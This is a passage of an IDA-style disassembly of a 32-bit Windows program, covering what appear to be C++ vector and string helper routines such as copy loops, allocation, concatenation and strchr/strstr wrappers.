		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4097AB:				; CODE XREF: sub_4096E0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409809
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409809:				; CODE XREF: sub_4096E0+D8j
		test	edi, edi
		jbe	short loc_409843
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016E0
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CDF
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409843:				; CODE XREF: sub_4096E0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_4096E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098B0	proc near		; CODE XREF: sub_401717j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4098D0


loc_4098C1:				; CODE XREF: sub_4098B0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402090
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4098C1


loc_4098D0:				; CODE XREF: sub_4098B0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4098B0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098F0	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4098F0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_402090j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409910	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409930	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409962
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409946:				; CODE XREF: sub_409930+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015B4
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409946
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_409930+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409930	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409980	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4099A7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_409996:				; CODE XREF: sub_409980+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015B4
		add	esi, 4
		dec	edi
		jnz	short loc_409996
		pop	esi
		pop	ebx


loc_4099A7:				; CODE XREF: sub_409980+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_409980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099C0	proc near		; CODE XREF: sub_401CC1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402059
sub_4099C0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4099F0	proc near		; CODE XREF: sub_4015B4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_4099F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A20	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_409A3D
		mov	edx, [esp+arg_8]
		push	esi


loc_409A31:				; CODE XREF: sub_409A20+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409A31
		pop	esi

locret_409A3D:				; CODE XREF: sub_409A20+Aj
		retn
sub_409A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A50	proc near		; CODE XREF: sub_401CDFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409A72
		mov	eax, [esp+arg_8]
		push	esi


loc_409A61:				; CODE XREF: sub_409A50+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409A61
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409A72:				; CODE XREF: sub_409A50+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409AB0	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_409ABA
		xor	eax, eax


loc_409ABA:				; CODE XREF: sub_409AB0+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_409AB0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409AFB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409AFB:				; CODE XREF: sub_409AE0+11j
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B10	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B46
		push	edi
		call	near ptr 28217C7h
		nop
		mov	edi, dword_5118CC
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409B46:				; CODE XREF: sub_409B10+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409B10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_401CEEj
		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B9F
		nop
		call	near ptr 2821B13h
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409B9F:				; CODE XREF: sub_409B80+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_40142Ej
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43F010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409BF0:				; CODE XREF: ___:00402081j
					; ___:loc_40218Fj
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409C08
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C08:				; CODE XREF: ___:00409BFDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C20	proc near		; CODE XREF: sub_401870j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C20	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C60	proc near		; CODE XREF: sub_4014D3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FDC
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409CA0	proc near		; CODE XREF: sub_402112j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4447F4
		push	ecx
		mov	dword ptr [esi], offset	off_43F010
		nop
		call	sub_5F76F7
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409CA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D10	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43F010
		cmp	eax, edi
		jz	short loc_409D2C
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D2C:				; CODE XREF: sub_409D10+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409D3F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D3F:				; CODE XREF: sub_409D10+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409D10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D60	proc near		; CODE XREF: sub_4015E1j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409DCA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409D8A
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D8A:				; CODE XREF: sub_409D60+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0C9E89052h, 837783DCh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409DCA:				; CODE XREF: sub_409D60+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409D60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E00	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_409E00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409E30:				; CODE XREF: ___:00401A5Aj
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4447F4
		push	ecx
		call	sub_5F76F7
		nop
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015E1
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E80	proc near		; CODE XREF: sub_401AAFj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409F0F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409F0F:				; CODE XREF: sub_409E80+84j
		mov	[ebx+9], ebp


loc_409F12:				; CODE XREF: sub_409E80+Cj
					; sub_409E80+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409E80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F50	proc near		; CODE XREF: sub_4016C7j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401AAF
		pop	esi
		retn	4
sub_409F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F80	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4447F4
		push	ecx
		call	sub_5F76F7
		nop
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401AAF
		pop	esi
		add	esp, 10h
		retn	4
sub_409F80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409FE7
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409FE7:				; CODE XREF: sub_409FD0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409FEB:				; CODE XREF: sub_409FD0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		test	cl, cl
		jz	short loc_40A00F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409FEB


loc_40A00F:				; CODE XREF: sub_409FD0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A016:				; CODE XREF: sub_409FD0+23j
					; sub_409FD0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A040	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A070	proc near		; CODE XREF: sub_40150Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_40A083
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_40A083:				; CODE XREF: sub_40A070+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		retn	4
sub_40A070	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0B0	proc near		; CODE XREF: sub_4021D0j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A0B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0E0	proc near		; CODE XREF: sub_401CD0j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A0F3
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A0F3:				; CODE XREF: sub_40A0E0+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A0E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A152
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		call	near ptr 77C3FF8Ah
		nop
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015E1


loc_40A152:				; CODE XREF: sub_40A110+13j
		add	esp, 2000h
		retn
sub_40A110	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_401D34j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1A0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_511AEC
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1C4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1C4:				; CODE XREF: sub_40A1A0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A1A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401816
		retn	4
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A210	proc near		; CODE XREF: sub_401816j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402135
		pop	esi
		retn	8
sub_40A210	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A240	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402135
		retn	4
sub_40A240	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A260	proc near		; CODE XREF: sub_402135j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A275
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A275:				; CODE XREF: sub_40A260+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_511B04
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A28F
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A28F:				; CODE XREF: sub_40A260+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A260	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A2D0	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A2E3
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A2E3:				; CODE XREF: sub_40A2D0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A2F6
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A2F6:				; CODE XREF: sub_40A2D0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_437AEA
sub_40A2D0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A350	proc near		; CODE XREF: sub_4013E3j
		mov	eax, [ecx+11h]
		retn
sub_40A350	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A370	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A370
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A3C2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A3C2:				; CODE XREF: sub_40A370+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_40142E
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_437AEA
sub_40A370	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015E1
		push	ebx
		call	sub_437AD2
; ---------------------------------------------------------------------------
